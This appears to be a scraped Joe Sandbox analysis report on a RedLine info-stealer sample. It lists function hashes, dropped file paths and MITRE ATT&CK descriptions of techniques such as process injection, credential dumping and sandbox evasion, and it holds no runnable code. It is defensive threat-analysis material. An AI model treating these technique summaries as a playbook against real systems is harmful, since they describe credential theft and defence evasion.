Source File: 00000011.00000002.2425259151.000000000186D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0186D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_186d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea52f096994a9af1099962ba32b08f8da536755a9d65855b08174bd6fb6dd437
Instruction ID: 4b297a32bf78e0a7a0b39ea12e3ac3190facfb8e5da10dfc34a7673e66b0fede
Opcode Fuzzy Hash: ea52f096994a9af1099962ba32b08f8da536755a9d65855b08174bd6fb6dd437
Instruction Fuzzy Hash: 5D213872604244EFCF15DF54D9C0B26BF69FB88314F24C258EA498B256C376D516CBA2

Function 0187D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425322097.000000000187D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0187D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_187d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3d37dbbbaa97f16ed2954d8270f2d3905257a018bf9069072baf842709fdec
Instruction ID: 08373442f03f9e2f4ca587a595e98bcb71b7480876d5ab41903fdfdd694ed225
Opcode Fuzzy Hash: 6b3d37dbbbaa97f16ed2954d8270f2d3905257a018bf9069072baf842709fdec
Instruction Fuzzy Hash: E22165B2104204EFDB05DF54D9C0B2ABB65FF84328F24C66DD8098B252C37AD506CAA1

Function 0187D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425322097.000000000187D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0187D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_187d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a77ccbbb74d9fe8e00dd830b8bb23106d7f893367698d9d19e0d2a2e736e21e
Instruction ID: adda708345cc37aa40e1f04d405de23376ea41f328b0d4adf352b557d588f738
Opcode Fuzzy Hash: 6a77ccbbb74d9fe8e00dd830b8bb23106d7f893367698d9d19e0d2a2e736e21e
Instruction Fuzzy Hash: BE214971504204EFDB05DF94C5C0B26BB61FF88318F24C66DE9098B252C77BE546CA62

Function 075EDFD8 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0efe3e308e8e29e899d5f1c84ca0d2d896601b5a9c9dcba11ded3f32d86f6bd5
Instruction ID: 0b1b5473e5521f0ee4d85b70bcc03671de37c34d7b3c106d84c519892cd8e18a
Opcode Fuzzy Hash: 0efe3e308e8e29e899d5f1c84ca0d2d896601b5a9c9dcba11ded3f32d86f6bd5
Instruction Fuzzy Hash: E511B2B371825A9FE718DA69E8416EAB7D9FBC8370B148137E504C7540EA35A411C7A4

Function 075EC330 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79595ae99299a735d087ba02f424bf6beb8425fb06e3b428128ace2cedc2afb7
Instruction ID: 448707ea4dbdb7cb6efc9a5d2223bdbe5bbf8123ed7507d5f5e72ac793bd6686
Opcode Fuzzy Hash: 79595ae99299a735d087ba02f424bf6beb8425fb06e3b428128ace2cedc2afb7
Instruction Fuzzy Hash: 55218E75A00289AFDB15CFE4C845ADEBBB5FF48310F04809AE910AB389C731D855CB50

Function 075EED69 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944268fce5f314fdd4042cd2290271df74b67cbd7f65b7b85fb9a6cce7a07c17
Instruction ID: dd9eaec6953b9853c7d2f54874b31339fc32664beb80a6fe8f78a2a62e65b2d9
Opcode Fuzzy Hash: 944268fce5f314fdd4042cd2290271df74b67cbd7f65b7b85fb9a6cce7a07c17
Instruction Fuzzy Hash: 5E11E072300214EFD7198F64DD84BEA7BBAFF85320F14855AFA099B292CA31DD01CB60

Function 075EC928 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5251970013ba70d8fac3cd746e96779b12abf8ed97e34393c7a1d4ba4ebd84
Instruction ID: f56be9b9cc9c2f9dd777f4873a91dd044064b4a971bb8443f52e3390e7754cf9
Opcode Fuzzy Hash: 7d5251970013ba70d8fac3cd746e96779b12abf8ed97e34393c7a1d4ba4ebd84
Instruction Fuzzy Hash: AB1142712047068FD725DF29E8409DBBFE5EF85350700872EE5498BA21EB71F9498BE1

Function 0186D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425259151.000000000186D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0186D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_186d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction ID: 446a0473d7ea324e3e896ea9e33c58cedc917cd15597b6c170815978c3b3f41e
Opcode Fuzzy Hash: 83fb694dd1e91a6ea135483331fab76a04ef60c4faa8ae053019808facf22284
Instruction Fuzzy Hash: E221CD76504680DFCB06CF44D9C0B16BF72FB88314F2482A9D9484A257C33AD526CBA1

Function 075EED78 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 700999af372d077b4e7072cf792a250667f05f474e0338a9d08a4b22f40a0225
Instruction ID: 6be329ae3f4ee371b762992fc2bfff810a647ce305cd3adedcc44ce8502b0bee
Opcode Fuzzy Hash: 700999af372d077b4e7072cf792a250667f05f474e0338a9d08a4b22f40a0225
Instruction Fuzzy Hash: C911A575700215EFE7588E65DC45BAA7BEAFB84320F148429F9098B291CB71ED01C750

Function 0187D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425322097.000000000187D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0187D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_187d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction ID: 655b449e9f06e6c6bac742091c40a0ef21c76660ca414b663daede955ec7889d
Opcode Fuzzy Hash: 703b7abd3718bd21aa6f36dac6c8dc0e73c65716f16ca45b46755fc1987422b6
Instruction Fuzzy Hash: 1411BBB5504280CFCB02CF54C5C0B15BFA1FB88318F28C6AAE8498B257C33AD54ACB62

Function 0187D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425322097.000000000187D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0187D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_187d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction ID: ff25457dae29f63c5396f1bc1bffd2dcef52c50acb2346c5f3d5d0dc8bdbafe3
Opcode Fuzzy Hash: ecf76333c4857edb0cae155a2ed822a1bfe38db2c40391184a4fb299c42cee64
Instruction Fuzzy Hash: 1011BF76504684CFDB12CF14D5C4B19FF61FB84324F28C6AAD8498B656C33AD54ACBA2

Function 075EC938 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2449422051.00000000075E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_75e0000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b448ce6670ab171a3c45642fa60cf263af3c5262234a0cc22f38b1d5e671c21
Instruction ID: 2f2d6c5727b69c7d3eac52f72d18e9157c5d89206d1a465f23003af643d3b2a6
Opcode Fuzzy Hash: 6b448ce6670ab171a3c45642fa60cf263af3c5262234a0cc22f38b1d5e671c21
Instruction Fuzzy Hash: 8601D2712007068FD725DF29D84094BBBE5FF843507009A2DE54A97665EB70FD098B91

Function 0186DA95 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425259151.000000000186D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0186D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_186d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dd67fcd9ba0e1a46129c88ae6c9a62d887fd5bcc52506007eb14ae6c5348b4d
Instruction ID: 15a88edeccbabca0b02d1430e5183a119286bc9b70931f1afa825082ca6bb85e
Opcode Fuzzy Hash: 2dd67fcd9ba0e1a46129c88ae6c9a62d887fd5bcc52506007eb14ae6c5348b4d
Instruction Fuzzy Hash: 13012B7160C3449AF7104F99CDC0B6BBFDCEF41325F08C65AEE898A182C7B89941C671

Function 0186DA94 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2425259151.000000000186D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0186D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_186d000_VcihjWRO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48cfba52801e6d7fccf1f121ca70d3d7dda202d982410d61d01397e29e3a682
Instruction ID: 358c8ba415f54626f52c438d7529a9689b2f5f4e33c51f3f0fc4a62c2cdb5974
Opcode Fuzzy Hash: a48cfba52801e6d7fccf1f121ca70d3d7dda202d982410d61d01397e29e3a682
Instruction Fuzzy Hash: A9F0C2725093449EE7108E09C9C4B66FFDCEB81724F18C55AED484A286C3B89840CA71

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report I5pvP0CU6M.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I5pvP0CU6M.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VcihjWRO.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5tpih14z.yk0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0vwjbqx.fll.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dghh0soi.uwv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kaxql43h.pew.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lhksdfem.gmf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lzagapvg.woe.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohrjecxe.gd0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfytb5jv.0jq.psm1

Windows Analysis Report
I5pvP0CU6M.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre